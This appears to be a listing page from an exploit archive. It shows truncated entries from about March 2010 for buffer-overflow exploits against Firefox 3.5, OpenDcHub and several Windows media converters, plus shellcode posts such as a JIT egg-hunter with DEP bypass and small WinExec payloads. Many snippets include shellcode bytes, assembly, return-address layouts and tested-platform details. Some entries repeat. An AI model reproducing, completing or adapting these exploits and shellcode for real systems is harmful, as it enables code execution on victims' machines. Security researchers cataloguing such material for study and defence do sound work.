Firefox 3.5 Stack Overflow Exploit

Exploit for windows platform in category local exploits ================================== Firefox 3.5 Stack Overflow Exploit ================================== !bin/ruby Exploit : Shellcode Stack Overflow Firefox 3.5 Date : 23/03/2010 Author : Whivack Gsk? Software Link :...

WM Downloader 3.0.0.9 - '.asx' Local Buffer Overflow

!/usr/bin/python Title: WM Downloader 3.0.0.9 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Tested on: Windows XP SP3 windows/exec - 227 bytes EXITFUNC=process, CMD=calc.exe shellcode = "\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"...

Shadow Stream Recorder 3.0.1.7 Buffer Overflow

!/usr/bin/python Title: Shadow Stream Recorder 3.0.1.7 .asx Local Buffer Overflow Date: 03-29-2010 Author: b0telh0 Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe Tested on: Windows XP SP3 windows/exec - 228 bytes EXITFUNC=seh, CMD=calc.exe shellcode =...

Free MP3 CD Ripper 2.6 0day

Exploit for windows platform in category local exploits =========================== Free MP3 CD Ripper 2.6 0day =========================== Author: Richard leahy Software Link: http://www.soft32.com/Download/Free/FreeMP3CDRipper/4-250188-1.html Version: 2.6 Tested on: Windows Xp Sp2 category: loc...

OpenDcHub 0.8.1 - Remote Code Execution

!/usr/bin/python OpenDcHub 0.8.1 Remote Code Execution Exploit Pierre Nogues - http://www.indahax.com Description: OpenDcHub is a direct connect hub for Linux OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow. Affected versions : OpenDcHub 0.8.1 Plateforms :...

Free MP3 CD Ripper 2.6 - .wav (PoC)

Free MP3 CD Ripper 2.6 - .wav PoC Exploit Title: Free MP3 CD Ripper 2.6 wav 0-day Date: 30/03/2010 Author: Richard leahy Software Link: http://www.soft32.com/Download/Free/FreeMP3CDRipper/4-250188-1.html Version: 2.6 Tested on: Windows Xp Sp2 to exploit this open up the application select file -...

Free MP3 CD Ripper 2.6 - '.wav' (PoC)

Exploit Title: Free MP3 CD Ripper 2.6 wav 0-day Date: 30/03/2010 Author: Richard leahy Software Link: http://www.soft32.com/Download/Free/FreeMP3CDRipper/4-250188-1.html Version: 2.6 Tested on: Windows Xp Sp2 to exploit this open up the application select file - wav converter - wav to mp3 use you...

Mini-stream Ripper 3.1.0.8 - Local Stack Overflow

Mini-stream Ripper 3.1.0.8 = Local stack overflow exploit Author: Hazem Mofeed Download: http://www.mini-stream.net/mini-stream-ripper/download/ Home: http://hakxer.wordpress.com BUFFER + RET + RET + SHELLCODE -- Exploited .. http://www.exploit-db.com/exploits/11607 shellcode =...

Mini-stream Ripper 3.1.0.8 => Local stack overflow exploit

Exploit for windows platform in category local exploits ========================================================== Mini-stream Ripper 3.1.0.8 = Local stack overflow exploit ========================================================== Mini-stream Ripper 3.1.0.8 = Local stack overflow exploit Author:...

Mini-stream Ripper 3.1.0.8 - Local Stack Overflow

Mini-stream Ripper 3.1.0.8 - Local Stack Overflow Mini-stream Ripper 3.1.0.8 = Local stack overflow exploit Author: Hazem Mofeed Download: http://www.mini-stream.net/mini-stream-ripper/download/ Home: http://hakxer.wordpress.com BUFFER + RET + RET + SHELLCODE -- Exploited...

JITed egg-hunter stage-0 shellcode Adjusted universal for xp/vista/win7

Exploit for win32 platform in category shellcode ======================================================================= JITed egg-hunter stage-0 shellcode Adjusted universal for xp/vista/win7 ======================================================================= // JITed egg-hunter stage-0...

Mini-stream RM-MP3 Converter Version 3.0.0.7 (.pls) Universal Stack BoF

Exploit for windows platform in category local exploits ======================================================================= Mini-stream RM-MP3 Converter Version 3.0.0.7 .pls Universal Stack BoF ======================================================================= !/usr/bin/perl Mini-stream...

KenWards Zipper 1.400 - Local Buffer Overflow (2)

KenWards Zipper 1.400 - Local Buffer Overflow 2 !/usr/bin/python KenWard's Zipper v1.400 File Name Buffer Overflow Coded by sinn3r x90.sinneratgmaild0tcom Tested on: Windows XP SP3 ENG Reference: http://www.exploit-db.com/exploits/11834 Big thanks to mrme, and corelanc0d3r. greetz to all the...

win32 MessageBox (Metasploit module) shellcode

Exploit for win32 platform in category shellcode ============================================== win32 MessageBox Metasploit module shellcode ============================================== $Id: messagebox.rb 4 2010-02-26 00:28:00:00Z corelanc0d3r & rick2600 $ Installation instructions : Drop file ...

win32/xp sp3 (Ru) WinExec+ExitProcess cmd shellcode 12 bytes

Exploit for win32 platform in category shellcode ============================================================ win32/xp sp3 Ru WinExec+ExitProcess cmd shellcode 12 bytes ============================================================ Thanks to last cotribution to inj3ct0r.com WinExec+ExitProcess in 1...

win32/xp sp3 Ru WinExec+ExitProcess cmd shellcode 12 bytes

win32/xp sp3 Ru WinExec+ExitProcess cmd shellcode 12 bytes. Shellcode exploit for windows platform 68 9D 61 F9 77 push 0x77C01345 B8 C7 93 C1 77 mov eax,msvcrt.system FF D0 call eax In msvcrt.dll at 0x77C01344 We have string ".cmd", that's the trick. Code will work in WinXP SP3 Pro Rus, in other...

MX Simulator Server Remote Buffer Overflow PoC

Exploit for windows platform in category remote exploits ============================================== MX Simulator Server Remote Buffer Overflow PoC ============================================== / MX Simulator Server 2010-02-06 Remote Buffer Overflow PoC This PoC will executes the calc.exe...

JITed egg-hunter stage-0 shellcode

No description provided by source. // JITed egg-hunter stage-0 shellcode // Permanent DEP bypass // // By Alexey Sintsov // [email protected] // [email protected] // // DSecRG - Digital Security Research Group dsecrg.com// // // TAG=3135330731353307 // its mean 0x07333531 twice! // // // This versi...

JITed egg-hunter stage-0 shellcode

Exploit for win32 platform in category shellcode ================================== JITed egg-hunter stage-0 shellcode ================================== // JITed egg-hunter stage-0 shellcode // Permanent DEP bypass // // By Alexey Sintsov // email protected // email protected // // DSecRG -...

Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes

No description provided by source. Title: Win32 Mini HardCode WinExec&ExitProcess Shellcode 16 bytes ;Test on xpsp2cn,no zero in shellcode,it will run write.exe ;--------------------------------------------- push 7C808E9DH ;write ;68 xx xx xx xx ;program string in memory push 7C81CAA2H ;exitproce...